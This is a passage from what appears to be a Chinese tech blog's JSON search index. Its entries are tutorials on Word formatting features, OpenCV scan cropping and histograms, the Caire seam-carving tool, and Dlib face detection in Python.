文件中，通常會遇到幾種狀況，一種就是想要保留網頁原始的排版，另外一種則是指需要文字資料，貼在 Word 文件上之後，再自己重新排版，這些常見的貼上動作都可以使用 Word 的選擇性貼上來完成。\u003c/p\u003e","title":"Word 選擇性貼上教學：只保留純文字資料，或保持來源格式"},{"content":"這裡介紹如何在 Word 中插入以圓圈包起來的文字，以及各種圓圈外框的數字。\n若想要在 Word 中插入類似 ①②③ 等這種用圓圈包起來的符號，有好多種方式，以下是各種作法的介紹。\n複製貼上 直接複製貼上當然是最快的：\n①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳ 插入圓圈數字符號 我們可以使用 Word 的插入符號功能來輸入圓圈數字符號，以這種方式所插入的符號，屬於標準的萬國碼（unicode），若製到 Word 以外的地方，只要字型有安裝好的話，也可以正常顯示。\n在「插入」籤頁中，點選「符號」功能中的「其他符號」。\n在「字型」的地方選擇「Wingdings」，這樣就可以看到兩種從 1 到 10 的圓圈數字符號了，一種是白底黑字的樣式，另一種則是黑底白字的。\n這種圓圈數字符號在許多字型中都可以找到，例如「Wingdings 2」字型中也有，每一種字型之間會有一些細微的差異，大家可以選擇喜歡的字型使用。\n如果感覺只有 1 到 10 不夠的話，可以選擇「Arial Unicode MS」字型，然後在下方的「字元代碼」中輸入 2460，這樣就會出現從 1 到 20 的圓圈數字符號了。\n找到並點選自己需要的圓圈數字符號之後，按下「插入」按鈕即可將指定的圓圈數字符號插入 Word 文件中了。\n圍繞字元 Word 插入功能中，能夠使用的圓圈數字符號最多只到 20 而已，若要使用更大的數字，可改用圍繞字元的方式來產生圓圈數字符號。\n在 Word 中輸入需要的數字之後，點選「圍繞字元」。\n選擇圍繞字元樣式，這裡可以調整符號的大小、裡面的文字內容以及外框的樣式，使用時可以嘗試看看各種組合，找出比較漂亮的樣式來使用。\n透過各種組合，我們就可以產生各種的圍繞字元，數字部分最多可以放到 99。\n","permalink":"https://blog.gtwang.org/windows/word-insert-circle-numbers-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Word 中插入以圓圈包起來的文字，以及各種圓圈外框的數字。\u003c/p\u003e\n\u003cp\u003e若想要在 Word 中插入類似 ①②③ 等這種用圓圈包起來的符號，有好多種方式，以下是各種作法的介紹。\u003c/p\u003e","title":"Word 插入圓圈文字或數字 ①②③ 等特殊符號教學"},{"content":"這裡示範如何在 Python 中以 OpenCV 自動偵測與切除掃描影像的白色邊緣，並修正傾斜的文件影像。\n最近我正在整理大量的舊書籍，想要將書籍的每一頁都掃描成 PDF 電子檔，方便保存下來，之前已經開發完自動化的文字辨識的程式了，接下來我要處理掃描圖檔的空白邊緣修正問題，以下是問題的敘述與程式開發流程紀錄。\n問題背景 由於我手上的書籍數量真的太多了，而且年代都很久遠，很多還有破損的狀況，時常在翻頁時破損的頁面還會整頁掉下來，所以在掃描時我都會把掃描的紙張大小調大一點，以免有些頁面歪掉沒掃到，掃出來的圖檔大約會像這樣，周圍會有大片的空白區域。\n另外很多老書籍的印刷不是很好（油墨很淡等問題），還有很多是手抄本的書，直接看紙本都不容易辨識，所以我再掃描的時候，是使用全彩照片的方式來掃，盡量保留書籍最原始的樣貌，而掃描的解析度當然就使用最高的 600 dpi，所以一頁 A4 紙張大小的圖，掃起來就要 3 MB 左右。\n因為圖實在太大了，所以在網站上我只放縮小的圖作為示範，以下是一些範例圖檔。\n掃出來圖檔除了以原始檔保存之外，我希望將它們製作成線上的資料庫，讓人可以透過網路查閱原始書籍的樣貌，所以這裡就要想辦法將掃出來的圖檔整理過，把空白區域去除，讓儲存空間可以節省一些，並且若有書籍在掃描時有傾斜的話，也要自動修正，方便使用者瀏覽。\n結合色彩飽和度與明度篩選區域 首先我們要想辦法把書籍在照片中的位置偵測出來，方法有很多種，例如使用邊緣偵測、像素的亮度門檻值等，但是我的掃描圖檔常會出現陰影（尤其是厚度比較厚的書），書本紙張的顏色有時候比較暗、有時候比較亮，所以單純以邊緣或像素門檻值的方式並不好處理。\n還好我這邊大部分的書籍都是陳年的舊書，紙張都偏黃、甚至咖啡色，也就是說書籍紙張是彩色的，背景是黑白的，而書籍紙張通常比背景暗一些，所以可以使用結合色彩飽和度與明度的方式，找除門檻值來篩選區域。\n首先載入一些需要用到的 Python 模組，並將圖檔讀取進來，做一些前處理：\nimport sys import cv2 import numpy import imutils from matplotlib import pyplot from scipy.stats import gaussian_kde # 讀取圖檔 img = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 使用縮圖以減少計算量 img_small = imutils.resize(img, width=640) # 在圖片周圍加上白邊，讓處理過程不會受到邊界影響 padding = int(img.shape[1]/25) img = cv2.copyMakeBorder(img, padding, padding, padding, padding, cv2.BORDER_CONSTANT, value=[255, 255, 255]) 由於我的原始圖檔解析度非常高，所以這裡另外做一張縮圖，可以加速後續的某些運算，另外在原圖周圍加上一些白邊，讓後續在處理圖像時，比較不會有超出邊界的問題。\n接著將影像從 BGR 轉為 HSV 色彩空間，並將飽和度與明度取出來，以 sv_ratio 這個自訂的比例混合：\n# 轉換至 HSV 色彩空間 hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) hsv_small = cv2.cvtColor(img_small, cv2.COLOR_BGR2HSV) # 取出飽和度 saturation = hsv[:,:,1] saturation_small = hsv_small[:,:,1] # 取出明度 value = hsv[:,:,2] value_small = hsv_small[:,:,2] # 綜合飽和度與明度 sv_ratio = 0.8 sv_value = cv2.addWeighted(saturation, sv_ratio, value, 1-sv_ratio, 0) sv_value_small = cv2.addWeighted(saturation_small, sv_ratio, value_small, 1-sv_ratio, 0) 這裡就是要想辦法找一個恰當的比例，讓混合的結果可以分判出書籍與背景，在調整的時候請把圖形畫出來看會比較直覺：\n# 除錯用的圖形 pyplot.subplot(131).set_title(\u0026#34;Saturation\u0026#34;), pyplot.imshow(saturation), pyplot.colorbar() pyplot.subplot(132).set_title(\u0026#34;Value\u0026#34;), pyplot.imshow(value), pyplot.colorbar() pyplot.subplot(133).set_title(\u0026#34;SV-value\u0026#34;), pyplot.imshow(sv_value), pyplot.colorbar() pyplot.show() 畫出來的圖形會類似這樣，簡單來說就是要讓最右方的飽和度與明度混合值（SV-value）圖形可以清楚區分出前景與背景：\n我一開始在開發程式時，其實只用飽和度，但是後來發現掃描的圖檔有些邊緣雖然是接近黑色，但是飽和度卻很高，容易影響主體，所以最後決定綜合飽和度與明度，這樣會更準確一些。\n決定門檻值 門檻值的決定是一很關鍵的問題，這裡我先用 Kernel Density Estimator 計算出 SV-value 的分佈函數，預期其它應該會出現雙峰的分佈，再找出中間的區域最小值作為門檻值：\n# 使用 Kernel Density Estimator 計算出分佈函數 density = gaussian_kde(sv_value_small.ravel(), bw_method=0.2) # 找出 PDF 中第一個區域最小值（Local Minimum）作為門檻值 step = 0.5 xs = numpy.arange(0, 256, step) ys = density(xs) cum = 0 for i in range(1, 250): cum += ys[i-1] * step if (cum \u0026gt; 0.02) and (ys[i] \u0026lt; ys[i+1]) and (ys[i] \u0026lt; ys[i-1]): threshold_value = xs[i] break 這裡的關鍵參數在 gaussian_kde 的 bw_method，調大一點的話，曲線比較平滑，反之就會震盪的比較厲害，若能讓分佈呈現清楚的雙峰型態是最好的，這部份其實最好也配合除錯的圖形來調整（關於直方圖的繪製，可參考直方圖的教學）：\n# 除錯用的圖形 pyplot.hist(sv_value_small.ravel(), 256, [0, 256], True, alpha=0.5) pyplot.plot(xs, ys, linewidth = 2) pyplot.axvline(x=threshold_value, color=\u0026#39;r\u0026#39;, linestyle=\u0026#39;--\u0026#39;, linewidth = 2) pyplot.xlim([, max(threshold_value*2, 80)]) pyplot.show() 畫出來的圖形會類似這樣，這一步就是要找出最適當的門檻值（紅色虛線），讓前景與背景可以區分開來：\n有時候 SV-value 的原始分佈根本就不是雙峰的樣子，這種狀況下會找不出適合的門檻值，若發生這種情況可以回去觀察看看 SV-value 的圖形，調整 sv_ratio 的比例來嘗試產生雙峰的分佈。\n就我在開發程式時的測試經驗，比較新的書（紙張比較白）很比較不容易產生雙峰分布，所以如果想要處理新書的掃描圖片，可能要修改演算法，找一個更合適的方式來偵測書本的區域。\n套用門檻值篩選區域 使用上面決定的門檻值篩選出書籍的區域，通常篩選出來的區域會有一些雜訊，所以我們會使用 OpenCV 的 Morphological Transformations 去除細小的雜訊：\n# 以指定的門檻值篩選區域 _, threshold = cv2.threshold(sv_value, threshold_value, 255.0, cv2.THRESH_BINARY) # 去除微小的雜訊 kernel_radius = int(img.shape[1]/100) kernel = numpy.ones((kernel_radius, kernel_radius), numpy.uint8) threshold = cv2.morphologyEx(threshold, cv2.MORPH_OPEN, kernel) threshold = cv2.morphologyEx(threshold, cv2.MORPH_CLOSE, kernel) # 除錯用的圖形 pyplot.imshow(threshold, \u0026#34;gray\u0026#34;) pyplot.show() 產生出來的 threshold 會類似這樣，白色部份就是選取的部份，而黑色部份則是排除的部份：\n這裡在中間的部份還有許多空洞，是否要用其他演算法把它填滿都可以，在這裡如果不填也沒關係，因為我們只會使用到面積最大塊的區域。\n產生等高線 接著使用門檻值得套用結果，以 OpenCV 所提供的功能產生等高線，並繪製除錯用的圖形：\n# 產生等高線 _, contours, hierarchy = cv2.findContours(threshold, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # 建立除錯用影像 img_debug = img.copy() # 線條寬度 line_width = int(img.shape[1]/100) # 以藍色線條畫出所有的等高線 cv2.drawContours(img_debug, contours, -1, (255, 0, 0), line_width) # 找出面積最大的等高線區域 c = max(contours, key = cv2.contourArea) # 找出可以包住面積最大等高線區域的方框，並以綠色線條畫出來 x, y, w, h = cv2.boundingRect(c) cv2.rectangle(img_debug,(x, y), (x + w, y + h), (0, 255, 0), line_width) # 嘗試在各種角度，以最小的方框包住面積最大的等高線區域，以紅色線條標示 rect = cv2.minAreaRect(c) box = cv2.boxPoints(rect) box = numpy.int0(box) cv2.drawContours(img_debug, [box], 0, (0, 0, 255), line_width) # 除錯用的圖形 pyplot.imshow(cv2.cvtColor(img_debug, cv2.COLOR_BGR2RGB)) pyplot.show() 這裡我們用藍色線條畫出所有的等高線，以綠色方框包住面積最大的等高線區域，並且嘗試在各種角度，以最小的方框包住面積最大的等高線區域，以紅色線條標示：\n傾斜修正 我們使用紅色的方框框住書本的位置之後，就可以取得它的傾斜角度，接下來就可以將圖片進行旋轉，修正圖片傾斜問題：\n# 取得紅色方框的旋轉角度 angle = rect[2] if angle \u0026lt; -45: angle = 90 + angle # 以影像中心為旋轉軸心 (h, w) = img.shape[:2] center = (w // 2, h // 2) # 計算旋轉矩陣 M = cv2.getRotationMatrix2D(center, angle, 1.0) # 旋轉圖片 rotated = cv2.warpAffine(img_debug, M, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_CONSTANT) img_final = cv2.warpAffine(img, M, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_CONSTANT) # 除錯用的圖形 pyplot.imshow(cv2.cvtColor(rotated, cv2.COLOR_BGR2RGB)) pyplot.show() 這裡我們同時對除錯用的圖片以及原圖做旋轉，讓兩張圖同步處理，而在程式開發時只要看除錯用的圖片即可。\n經過旋轉之後的圖形，紅色的方框看起來應該要是正的：\n裁切邊緣影像 確認旋轉後的影像沒問題的話，接下來就要把紅色方框之外的邊緣裁切掉，作法是將原本的紅色方框座標，使用相同的旋轉矩陣進行轉換，計算出旋轉後的新座標位置，然後依據新的座標來裁切：\n# 旋轉紅色方框座標 pts = numpy.int0(cv2.transform(numpy.array([box]), M))[0] # 計算旋轉後的紅色方框範圍 y_min = min(pts[0][0], pts[1][0], pts[2][0], pts[3][0]) y_max = max(pts[0][0], pts[1][0], pts[2][0], pts[3][0]) x_min = min(pts[0][1], pts[1][1], pts[2][1], pts[3][1]) x_max = max(pts[0][1], pts[1][1], pts[2][1], pts[3][1]) # 裁切影像 img_crop = rotated[x_min:x_max, y_min:y_max] img_final = img_final[x_min:x_max, y_min:y_max] # 除錯用的圖形 pyplot.imshow(cv2.cvtColor(img_crop, cv2.COLOR_BGR2RGB)) pyplot.show() 裁切之後，結果會像這樣：\n這裡在將紅色方框旋轉之後，其實應該要再確認一次方框是否有落於繪圖區域之外，不過由於實務上掃描文件時，我們都會盡量讓書本放正，所以通常旋轉角度不大，加上我們在一開始就有先在周圍增加空白區域，所以通常紅色方框都不太會跑出去。\n如果確認這個處理結果問題，就可以畫出正式的原圖處理結果：\n# 完成圖 pyplot.imshow(cv2.cvtColor(img_final, cv2.COLOR_BGR2RGB)) pyplot.show() 這樣就完成掃描圖檔的基本修正了。\n完整 Python 指令稿 由於這理的程式碼實在是太多了，所以我把所有的程式碼整理一下，放在 auto_crop_20180307.py.gz，執行方式為：\npython3 auto_crop_20180307.py image.jpg 執行後會直接畫出六張圖，方便快速開發與除錯：\n上面我所提供的好幾張範例掃描檔都可以直接用這個程式來處理，有興趣的人可以自行下載使用，大部分的圖直接跑就可以有很不錯的結果，而其中有幾張需要調整一下參數。\n參考資料 danvk.org PyImageSearch Learn OpenCV StackOverflow ","permalink":"https://blog.gtwang.org/programming/python-opencv-auto-crop-and-rotate-scanned-image-tutorial/","summary":"\u003cp\u003e這裡示範如何在 Python 中以 OpenCV 自動偵測與切除掃描影像的白色邊緣，並修正傾斜的文件影像。\u003c/p\u003e\n\u003cp\u003e最近我正在整理大量的舊書籍，想要將書籍的每一頁都掃描成 PDF 電子檔，方便保存下來，之前已經開發完\u003ca href=\"/programming/automation-of-google-ocr-using-python-tutorial/\"\u003e自動化的文字辨識的程式\u003c/a\u003e了，接下來我要處理掃描圖檔的空白邊緣修正問題，以下是問題的敘述與程式開發流程紀錄。\u003c/p\u003e","title":"Python 使用 OpenCV 自動裁切掃描文件白邊、修正傾斜角度教學"},{"content":"這裡介紹如何在 Python 中以 OpenCV 與 matplotlib 等工具，統計影像像素值的分佈，並畫出直方圖。\n在開發影像處理的程式時，我們時常會需要觀察影像像素值的分佈與特性，以便選用適合的演算法、制定門檻值、設計出適合的影像處理流程。\n在 Python 中若要觀察影像亮度分佈，可以使用 OpenCV 與 matplotlib 等工具，以下是使用教學。\n像素值分佈直方圖 OpenCV 的 calcHist 函數可用來計算直方圖的數值，其語法如下：\ncv2.calcHist(影像, 通道, 遮罩, 區間數量, 數值範圍) 以下是各個參數的意義與使用說明：\n影像：影像的來源，其型別可以是 uint8 或 float32，變數必須放在中括號當中，例如：[img]。 通道：指定影像的通道（channel），同樣必須放在中括號當中。若為灰階影像，則通道就要指定為 [0]，若為彩色影像則可用 [0]、[1] 或 [2] 指定 藍色、綠色或紅色的通道。 遮罩：以遮罩指定要納入計算的圖形區域，若指定為 None 則會計算整張圖形的所有像素。 區間數量：指定直方圖分隔區間的數量（bins），也就是圖形畫出來要有幾條長方形。 數值範圍：指定要計算的像素值範圍，通常都是設為 [0, 256]（計算所有的像素值）。 以下是一個簡單的範例：\nimport cv2 import numpy as np import matplotlib.pyplot as plt # 讀取圖檔 img = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 轉為灰階圖片 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 計算直方圖每個 bin 的數值 hist = cv2.calcHist([gray], [0], None, [256], [0, 256]) # 畫出直方圖 plt.bar(range(1, 257), hist) plt.show() 我拿這張照片作為測試的範例：\n執行的結果會像這樣：\n通常像這種每個區間只包含一個數值的直方圖，我們可以改用普通的線條來表示：\n# 畫出分佈圖 plt.plot(hist) 畫出來的結果會像這樣：\nmatplotlib 的 pyplot.hist 函數也可以用來統計並繪製直方圖，只不過圖形在傳入時，要先使用 ravel 將所有的像素資料轉為一維的陣列，以下是一個簡單的範例：\nimport cv2 import numpy as np import matplotlib.pyplot as plt # 讀取圖檔 img = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 轉為灰階圖片 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 畫出直方圖 plt.hist(gray.ravel(), 256, [0, 256]) plt.show() 畫出來的結果會像這樣：\n對於彩色的圖片，可以用 OpenCV 的 calcHist 函數分別計算統計值，並畫出 RGB 三種顏色的分佈圖：\nimport cv2 import numpy as np import matplotlib.pyplot as plt img = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 畫出 RGB 三種顏色的分佈圖 color = (\u0026#39;b\u0026#39;,\u0026#39;g\u0026#39;,\u0026#39;r\u0026#39;) for i, col in enumerate(color): histr = cv2.calcHist([img], [i], None, [256], [0, 256]) plt.plot(histr, color = col) plt.xlim([0, 256]) plt.show() 圖形遮罩 若要計算圖形中部份區域的像素值分佈，可以使用 OpenCV 的 calcHist 配合圖形遮罩，以下的範例我們建立一個簡單的方框遮罩，將圖片中央的區塊取出來，計算像素值分佈：\nimport cv2 import numpy as np import matplotlib.pyplot as plt # 讀取圖檔 img = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 轉為灰階圖片 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 建立圖形遮罩 mask = np.zeros(gray.shape, np.uint8) mask[300:780, 300:1620] = 255 # 計算套用遮罩後的圖形 masked_gray = cv2.bitwise_and(gray, gray, mask = mask) # 以原圖計算直方圖 hist_full = cv2.calcHist([img], [0], None, [256], [0, 256]) # 以套用遮罩後的圖計算直方圖 hist_mask = cv2.calcHist([img], [0], mask, [256], [0, 256]) # 繪製結果 plt.subplot(221), plt.imshow(gray, \u0026#39;gray\u0026#39;) plt.subplot(222), plt.imshow(mask, \u0026#39;gray\u0026#39;) plt.subplot(223), plt.imshow(masked_gray, \u0026#39;gray\u0026#39;) plt.subplot(224), plt.plot(hist_full), plt.plot(hist_mask) plt.xlim([0, 256]) plt.show() 遮罩其實就是一張大小跟原圖一樣的圖片，其中白色的部份代表選取區域，而黑色的部份則代表排除區域。此程式執行的結果如下：\n參考資料 OpenCV ","permalink":"https://blog.gtwang.org/programming/python-opencv-matplotlib-plot-histogram-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Python 中以 OpenCV 與 matplotlib 等工具，統計影像像素值的分佈，並畫出直方圖。\u003c/p\u003e\n\u003cp\u003e在開發影像處理的程式時，我們時常會需要觀察影像像素值的分佈與特性，以便選用適合的演算法、制定門檻值、設計出適合的影像處理流程。\u003c/p\u003e","title":"Python 與 OpenCV 繪製直方圖，分析影像亮度分佈教學"},{"content":"這裡示範如何使用 Caire 這個圖形函式庫，在圖片拉長或縮短後，以 Seam Carving 演算法自動修正圖形中的物體，保持完美的比例。\n在電腦上設計一些美工文宣品或是網站版面時，找尋適合的圖片是很重要的，有時候雖然找到的素材圖片風格非常棒，但若解析度不足、或是長寬比例不對的話，也不太能使用。\nCaire 這套圖形函式庫應用了 Shai Avidan 與 Ariel Shamir 所提出 Seam Carving 圖像演算法（可參考原始論文），它可以自動分析圖片，區分出主體與不重要的背景，讓圖片在拉長或縮短的過程中，還是可以保持重點區域的比例以及完整性。\n安裝 Caire 首先安裝 Go 這個程式語言的套件，在 Ubuntu Linux 中可以使用 apt 安裝 golang-go 套件：\nsudo apt-get install golang-go 設定 GOPATH 與 PATH 環境變數：\nexport GOPATH=\u0026#34;$HOME/go\u0026#34; export PATH=\u0026#34;$PATH:$GOPATH/bin\u0026#34; 接著從 GitHub 下載 Caire 工具：\n# 下載 Caire 工具 go get -u -f github.com/esimov/caire/cmd/caire 這樣就完成安裝了。\n調整圖片比例 使用 Caire 調整圖片大小的使用方式為：\n# 將圖片大小調整為 640x360 caire -in image.jpg -out output.jpg -width=640 -height=360 以下我隨意拿幾張照片進行測試，首先測試縮短圖片。下面這張圖在縮短之後，表現很不錯，看起來都很自然。\n下面這張測試垂直方向的壓縮圖片，縮短之後大部分的物體都很自然，不過路上的機車被壓扁了。\n接下來測試拉長圖片，這張照片被拉開之後，感覺還不錯（點選圖片可查看原圖）。\n而這一張圖在拉長之後，右邊有出現橫條文。\n經過實際測試之後，我發現 Caire 這個工具在微調圖片比例時，都還處理的不錯，但是如果比例調整的太多，很容易就會露出馬腳，而且圖檔的解析度若比較高時，要算很久（640x640 左右的圖，在我的筆電上大概就要算個一分鐘），對於實際應用幫助有限。\n參考資料 TechNews ","permalink":"https://blog.gtwang.org/programming/caire-image-resize-library-based-on-seam-carving-algorithm/","summary":"\u003cp\u003e這裡示範如何使用 Caire 這個圖形函式庫，在圖片拉長或縮短後，以 Seam Carving 演算法自動修正圖形中的物體，保持完美的比例。\u003c/p\u003e\n\u003cp\u003e在電腦上設計一些美工文宣品或是網站版面時，找尋適合的圖片是很重要的，有時候雖然找到的素材圖片風格非常棒，但若解析度不足、或是長寬比例不對的話，也不太能使用。\u003c/p\u003e","title":"Caire 完美改變圖片長寬比例工具，Seam Carving 演算法應用"},{"content":"這裡示範如何在 Python 中使用 OpenCV 與 Dlib 開發人臉偵測程式，即時擷取網路攝影機串流影像，輸出人臉偵測結果。\n人臉偵測是一項相當成熟的技術，不管是數位相機或是手機在拍照時，都可以自動偵測人臉並對焦，而在自行開發的程式當中，若要加入人臉偵測的功能也非常容易，只要串接相關的模組即可實作出相當專業的程式。\n照片人臉偵測 人臉偵測的實作方式有很多種，這裡我們選擇使用 Dlib 這套機器學習函式庫所提供的人臉偵測，以 Python 來撰寫一個可以自動偵測照片或影片中所有人臉位置的程式。以下是一個最簡單的人臉偵測程式碼：\nimport dlib import cv2 import imutils # 讀取照片圖檔 img = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 縮小圖片 img = imutils.resize(img, width=1280) # Dlib 的人臉偵測器 detector = dlib.get_frontal_face_detector() # 偵測人臉 face_rects = detector(img, 0) # 取出所有偵測的結果 for i, d in enumerate(face_rects): x1 = d.left() y1 = d.top() x2 = d.right() y2 = d.bottom() # 以方框標示偵測的人臉 cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 4, cv2.LINE_AA) # 顯示結果 cv2.imshow(\u0026#34;Face Detection\u0026#34;, img) cv2.waitKey(0) cv2.destroyAllWindows() 這裡我們使用 OpenCV 讀取一張照片（請參考 OpenCV 的圖檔存取教學），將圖片縮小之後（亦可直接用原圖），再交給 Dlib 的人臉偵測器來偵測圖片中所有人臉的位置，最後再將所有偵測出的人臉位置用綠色方框標示出來。\nDlib 使用的人臉偵測演算法是以方向梯度直方圖（HOG）的特徵加上線性分類器（linear classifier）、影像金字塔（image pyramid）與滑動窗格（sliding window）來實作的。\ndetector 函數的第二個參數是指定反取樣（unsample）的次數，如果圖片太小的時候，將其設為 1 可讓程式偵較容易測出更多的人臉。\n我們以下面這張照片作為範例，嘗試以上面的 Python 程式來偵測其中的人臉位置。\n程式執行之後，就會開出一個 OpenCV 視窗，顯示人臉偵測的結果。\n偵測結果與分數 事實上每一個人臉偵測的結果都會對應到一個分數，分數越高代表該偵測結果越可能是真的人臉，反之若分數很低的話，就比較有可能是誤判的結果。\n在程式開發階段，我們可以將所有的偵測結果與分數都顯示出來，這樣在除錯上也會比較方便，以下是一個簡單的範例：\nimport dlib import cv2 import imutils img = cv2.imread(\u0026#39;human-20180303-01.jpg\u0026#39;) img = imutils.resize(img, width=1280) detector = dlib.get_frontal_face_detector() # 偵測人臉，輸出分數 face_rects, scores, idx = detector.run(img, 0, -1) for i, d in enumerate(face_rects): x1 = d.left() y1 = d.top() x2 = d.right() y2 = d.bottom() text = \u0026#34;%2.2f(%d)\u0026#34; % (scores[i], idx[i]) cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 4, cv2.LINE_AA) # 標示分數 cv2.putText(img, text, (x1, y1), cv2.FONT_HERSHEY_DUPLEX, 0.7, (255, 255, 255), 1, cv2.LINE_AA) cv2.imshow(\u0026#34;Face Detection\u0026#34;, img) cv2.waitKey(0) cv2.destroyAllWindows() 這裡我們改用 detector.run 來偵測人臉，它的第三個參數是指定分數的門檻值，所有分數超過這個門檻值的偵測結果都會被輸出，而傳回的結果除了人臉的位置之外，還有分數（scores）與子偵測器的編號（idx），子偵測器的編號可以用來判斷人臉的方向，請參考 Dlib 的說明。\n以下是程式的執行結果（點擊圖片查看原圖會看得比較清楚）：\n影片人臉偵測 若要偵測影片中的人臉，可以使用 OpenCV 取出影片中的每張影格（請參考 OpenCV 處理影片檔案的教學），再交給 Dlib 偵測人臉，以下是簡單的範例：\nimport dlib import cv2 import imutils # 開啟影片檔案 cap = cv2.VideoCapture(\u0026#39;video.mp4\u0026#39;) # 取得畫面尺寸 width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) # 使用 XVID 編碼 fourcc = cv2.VideoWriter_fourcc(*\u0026#39;XVID\u0026#39;) # 建立 VideoWriter 物件，輸出影片至 output.avi，FPS 值為 20.0 out = cv2.VideoWriter(\u0026#39;output.avi\u0026#39;, fourcc, 20.0, (width, height)) # Dlib 的人臉偵測器 detector = dlib.get_frontal_face_detector() # 以迴圈從影片檔案讀取影格，並顯示出來 while(cap.isOpened()): ret, frame = cap.read() # 偵測人臉 face_rects, scores, idx = detector.run(frame, 0) # 取出所有偵測的結果 for i, d in enumerate(face_rects): x1 = d.left() y1 = d.top() x2 = d.right() y2 = d.bottom() text = \u0026#34;%2.2f(%d)\u0026#34; % (scores[i], idx[i]) # 以方框標示偵測的人臉 cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 4, cv2.LINE_AA) # 標示分數 cv2.putText(frame, text, (x1, y1), cv2.FONT_HERSHEY_DUPLEX, 0.7, (255, 255, 255), 1, cv2.LINE_AA) # 寫入影格 out.write(frame) # 顯示結果 cv2.imshow(\u0026#34;Face Detection\u0026#34;, frame) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break cap.release() out.release() cv2.destroyAllWindows() 這裡我將即時的處理畫面顯示在視窗中，並且同時寫入 output.avi 這個影片檔，而寫入時的 FPS 降為 20.0，這樣比較好觀察結果。\n即時串流影像人臉偵測 若要偵測串流影像中的人臉，也是一樣將影格取出，交給 Dlib 處理即可，以下是從網路攝影機擷取影像並偵測人臉的範例：\nimport dlib import cv2 import imutils # 開啟影片檔案 cap = cv2.VideoCapture(0) # Dlib 的人臉偵測器 detector = dlib.get_frontal_face_detector() # 以迴圈從影片檔案讀取影格，並顯示出來 while(cap.isOpened()): ret, frame = cap.read() # 偵測人臉 face_rects, scores, idx = detector.run(frame, 0) # 取出所有偵測的結果 for i, d in enumerate(face_rects): x1 = d.left() y1 = d.top() x2 = d.right() y2 = d.bottom() text = \u0026#34;%2.2f(%d)\u0026#34; % (scores[i], idx[i]) # 以方框標示偵測的人臉 cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 4, cv2.LINE_AA) # 標示分數 cv2.putText(frame, text, (x1, y1), cv2.FONT_HERSHEY_DUPLEX, 0.7, (255, 255, 255), 1, cv2.LINE_AA) # 顯示結果 cv2.imshow(\u0026#34;Face Detection\u0026#34;, frame) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break cap.release() cv2.destroyAllWindows() 執行後就會顯示即時串流影像的人臉偵測結果。\n參考資料 Dlib ","permalink":"https://blog.gtwang.org/programming/python-opencv-dlib-face-detection-implementation-tutorial/","summary":"\u003cp\u003e這裡示範如何在 Python 中使用 OpenCV 與 Dlib 開發人臉偵測程式，即時擷取網路攝影機串流影像，輸出人臉偵測結果。\u003c/p\u003e\n\u003cp\u003e人臉偵測是一項相當成熟的技術，不管是數位相機或是手機在拍照時，都可以自動偵測人臉並對焦，而在自行開發的程式當中，若要加入人臉偵測的功能也非常容易，只要串接相關的模組即可實作出相當專業的程式。\u003c/p\u003e","title":"Python 使用 OpenCV、Dlib 實作即時人臉偵測程式教學"},{"content":"這裡介紹如何在 Word 文件中加入背景的浮水印。\n在使用 Word 編輯文件時，有時候我們會需要在背景加上「草稿」、「樣本」、「急件」、「機密文件」這類的浮水印，清楚標示文件的重要屬性。以下是在 Word 中加入各種浮水印的操作步驟。\n加入浮水印 Step 1\n選擇「設計」籤頁，點選「浮水印」功能。\nStep 2\nWord 有提供許多常用的浮水印範本，我們可以直接從範本中挑選要加入的浮水印字樣。如果想加入的文字在範本中找不到的話，請使用自訂文字浮水印的方式處理（下面會介紹）。\nStep 3\n這是加入浮水印之後的樣子，浮水印的顏色很淡，不會影響正常的文字，又可以清楚標示文件的性質。\n自訂文字浮水印 如果在浮水印範本中沒有我們想要的樣式時，我們也可以利用自訂文字浮水印的方式，加入任意內容與格式的浮水印。\nStep 1\n在「浮水印」功能選單中，點選「自訂浮水印」。\nStep 2\n選擇「文字浮水印」，並且輸入文字的內容，而字型、顏色、大小、透明度版面配置這些選項也都可以自由調整。\nStep 3\n這是加入自訂文字浮水印的效果。\n自訂圖片浮水印 除了自訂浮水印的文字樣式之外，也可以直接使用自己的圖片或照片當成浮水印，以下是操作的步驟。 Step 1\n在「自訂浮水印」功能中，選擇圖片浮水印，並點選「選取圖片」。\nStep 2\n選擇要使用的圖片，圖片可以從自己電腦上的圖片檔案來選擇，或是從 Bing 上面搜尋取得。\nStep 3\n這裡有一個「刷淡」選項，勾選後可以讓圖片顏色變淡，這樣才不會影響文件上的正常文字，而如果我們的圖片事先已經過淡化處理的話，就可以不用勾選這個選項。\nStep 4\n這是我拿 G. T. Wang 網站 Logo 圖片作為浮水印效果。\n插入浮水印至單張頁面 在大部分的狀況下，浮水印都會加在文件的每一頁中，而如果我們只要在單一頁加入浮水印，可以在浮水印範本上按下滑鼠右鍵，選擇「插入到現有文件位置」。\n移除浮水印 若要移除浮水印，就從浮水印功能選單中點選「移除浮水印」即可。\n參考資料 Office ","permalink":"https://blog.gtwang.org/windows/word-add-background-watermark-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Word 文件中加入背景的浮水印。\u003c/p\u003e\n\u003cp\u003e在使用 Word 